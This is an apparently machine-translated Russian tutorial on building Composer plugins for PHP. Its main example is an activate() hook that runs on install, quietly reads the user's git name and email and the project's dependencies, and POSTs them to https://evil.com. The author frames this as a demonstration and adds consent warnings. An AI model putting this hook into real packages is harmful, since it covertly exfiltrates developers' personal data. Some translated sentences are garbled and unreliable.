Composer — самый острый инструмент в наборе инструментов современного разработчика PHP. Дни ручного управления зависимостями ушли в далекое прошлое, и на их месте у нас есть такие замечательные вещи, как Semver. Вещи, которые помогают нам спать по ночам, потому что мы можем обновлять наши зависимости, не разбивая камни вместе.
Несмотря на то, что мы так часто используем Composer, не так много общих знаний о том, как его расширять. Как будто он делает такую хорошую работу в своем состоянии по умолчанию, что его расширение не стоит времени или усилий, чтобы сделать или документировать. Даже официальные документы обойдут проблему . Возможно, потому что никто не просит об этом …
Тем не менее, недавние изменения значительно упростили разработку плагинов Composer. Composer также недавно перешел с альфа-версии на бета-версию, возможно, в наиболее консервативном цикле выпуска, когда-либо задуманном. Это то, что делает современный PHP возможным в его нынешнем виде. Это краеугольный камень профессиональной разработки PHP. Просто перешел с альфы на бета.
Итак, сегодня я подумал, что мы изучим возможности разработки плагинов Composer и создадим свежую документацию по ходу работы.
Вы можете найти код для этого плагина на github.com/assertchris-tutorials/tutorial-composer-plugins .
Начиная
Для начала нам нужно создать хранилище плагинов, отдельное от приложения, с которым мы будем его использовать. Плагины устанавливаются как любая обычная зависимость. Давайте создадим новую папку с файлом composer.json
:
{ "type" : "composer-plugin" , "name" : "sitepoint/plugin" , "require" : { "composer-plugin-api" : "^1.0" } }
Все эти вещи важны! Мы даем этому плагину тип composer-plugin
иначе он никогда не будет рассматриваться как таковой. Зависимости composer-plugin
доступны для хуков в жизненном цикле Composer, к которым мы будем обращаться.
Мы называем плагин, чтобы наше приложение могло требовать его как зависимости. Вы можете использовать все, что вам нравится здесь, но вам нужно будет запомнить имя на потом.
Нам также нужно требовать composer-plugin-api
. Версия здесь важна, потому что наш плагин будет рассматриваться как совместимый с определенной версией API плагина, что может влиять на такие вещи, как сигнатуры методов.
Далее нам нужно автоматически загрузить класс плагина и сообщить Composer, как он называется:
"autoload" : { "psr-4" : { "SitePoint\\" : "src" } } , "extra" : { "class" : "SitePoint\\Plugin" }
Мы создадим папку src
с файлом Plugin.php
. Вот файл, который Composer собирается загрузить (как первый хук в жизненном цикле Composer):
namespace SitePoint ; use Composer \ Composer ; use Composer \ IO \ IOInterface ; use Composer \ Plugin \ PluginInterface ; class Plugin implements PluginInterface { public function activate ( Composer $composer , IOInterface $io ) { print "hello world" ; } }
PluginInterface
требует публичного метода activate
, который вызывается при загрузке плагина. Самое время проверить, работает ли код плагина. Теперь нам нужно создать папку приложения с собственным файлом composer.json
:
{ "name" : "sitepoint/app" , "require" : { "sitepoint/plugin" : "*" } , "repositories" : [ { "type" : "path" , "url" : "../sitepoint-plugin" } ] , "minimum-stability" : "dev" , "prefer-stable" : true }
Этот значительно проще, чем раньше, и скорее всего будет напоминать, как люди будут использовать ваш плагин. Лучше всего было бы выпустить стабильные версии вашего плагина через Packagist, но пока вы разрабатываете, это нормально. Он указывает Composer требовать любую доступную версию sitepoint/plugin
и откуда получать эту зависимость.
Репозитории путей являются относительно недавним дополнением к Composer, и они автоматически управляют символьными ссылками, поэтому вам не нужно это делать. Поскольку нам требуется нестабильная зависимость, мы сообщаем Composer, что минимальная стабильность должна быть dev
до dev
.
В подобных ситуациях рекомендуется также по возможности предпочитать стабильные зависимости …
Теперь вы сможете запустить composer install
из папки вашего приложения и увидеть сообщение hello world
! И все это без кода на Github или Packagist .
Я рекомендую запустить rm -rf vendor composer.lock; composer install
rm -rf vendor composer.lock; composer install
во время разработки, поскольку он будет регулярно сбрасывать состояние приложения и / или плагина. Особенно, когда вы начинаете возиться с установочными папками!
Изучение возможностей плагинов
Также неплохо потребовать composer/composer
, так как это загрузит интерфейсы и классы, с которыми мы собираемся работать, в папку vendor.
Большую часть того, что вы узнаете о плагинах, вы можете найти, просто просмотрев исходный код Composer. В качестве альтернативы, вы можете «проверить» два экземпляра, предоставленных для метода activate
вашего плагина. Это также помогает, если вы используете IDE, например, PHPStorm , поэтому вы можете легко переходить к определениям.
Например, мы можем проверить $composer->getPackage()
чтобы увидеть, что находится в корневом файле composer.json
. Мы можем использовать $io->ask("...")
чтобы задавать вопросы в процессе установки.
Положить их для использования
Давайте построим что-то практичное, хотя, возможно, немного дьявольское. Давайте сделаем так, чтобы наш плагин отслеживал пользователей и зависимости, которые им требуются. Мы начнем с поиска их имени пользователя Git и адреса электронной почты:
public function activate ( Composer $composer , IOInterface $io ) { exec ( "git config --global user.name" , $name ) ; exec ( "git config --global user.email" , $email ) ; $payload = [ ] ; if ( count ( $name ) > 0 ) { $payload [ "name" ] = $name [ 0 ] ; } if ( count ( $email ) > 0 ) { $payload [ "email" ] = $email [ 0 ] ; } }
Имена пользователей Git и адреса электронной почты обычно хранятся в глобальном конфиге, что означает, что при запуске git config --global user.name
из терминала вернет их. Мы можем сделать этот шаг дальше, пропустив их через exec
и проверив результаты.
Далее давайте отследим название приложения (если оно определено), а также зависимости и их версии. Мы можем сделать то же самое для зависимостей разработки, поэтому давайте создадим метод для обоих:
private function addDependencies ( $type , array $dependencies , array $payload ) { $payload = array_slice ( $payload , 0 ) ; if ( count ( $dependencies ) > 0 ) { $payload [ $type ] = [ ] ; } foreach ( $dependencies as $dependency ) { $name = $dependency - > getTarget ( ) ; $version = $dependency - > getPrettyConstraint ( ) ; $payload [ $type ] [ $name ] = $version ; } return $payload ; }
Мы получаем ограничение имени и версии для каждой зависимости и добавляем их в массив $payload
. Вызов array_slice
для массива полезных данных не array_slice
побочных эффектов этому методу, поэтому его можно вызывать любое количество раз с одинаковыми результатами.
Это часто называют чистой функцией или примером использования неизменяемой переменной.
Затем мы вызываем этот метод с массивами зависимостей:
public function activate ( Composer $composer , IOInterface $io ) { // ...get user details $app = $composer - > getPackage ( ) - > getName ( ) ; if ( $app ) { $payload [ "app" ] = $app ; } $payload = $this - > addDependencies ( "requires" , $composer - > getPackage ( ) - > getRequires ( ) , $payload ) ; $payload = $this - > addDependencies ( "dev-requires" , $composer - > getPackage ( ) - > getDevRequires ( ) , $payload ) ; }
Наконец, мы можем отправить эти данные куда-нибудь:
public function activate ( Composer $composer , IOInterface $io ) { // ...get user details // ...get project details $context = stream_context_create ( [ "http" = > [ "method" = > "POST" , "timeout" = > 0.5 , "content" = > http_build_query ( $payload ) , ] , ] ) ; @ file_get_contents ( "https://evil.com" , false , $context ) ; }
Мы могли бы использовать Guzzle для этого, но file_get_contents
работает так же хорошо. Мы отправляем запрос POST
на https://evil.com
с сериализованной полезной нагрузкой.
Будь хорошим
Я не хочу, чтобы это выглядело как рекомендация для скрытого сбора пользовательских данных. Но, возможно, полезно знать, сколько данных кто-то может собрать, просто требуя хорошо продуманного плагина Composer.
Вы можете использовать опцию composer install --no-plugins
, но многие фреймворки и системы управления контентом зависят от плагинов для правильной настройки.
Несколько дополнительных предупреждений:
- Если вы собираетесь использовать
exec
, фильтруйте и проверяйте любые данные, которые не жестко запрограммированы. В противном случае вы создаете векторы атаки для своего кода. - Если вы отправляете данные куда-либо, отправляйте их по HTTPS. В противном случае другие злоумышленники могут воспользоваться преимуществами сбора вредоносных данных.
- Не отслеживать данные пользователя без согласия. Можно спросить, прежде чем брать данные, так что делайте это каждый раз! Что-то вроде
IOInterface::ask("...")
— это то, что вам нужно …
Помогла ли вам эта статья? Возможно, у вас есть идея для плагина; как пользовательский плагин установщика или плагин, который загружает автономную документацию для популярных проектов. Дайте нам знать в комментариях ниже …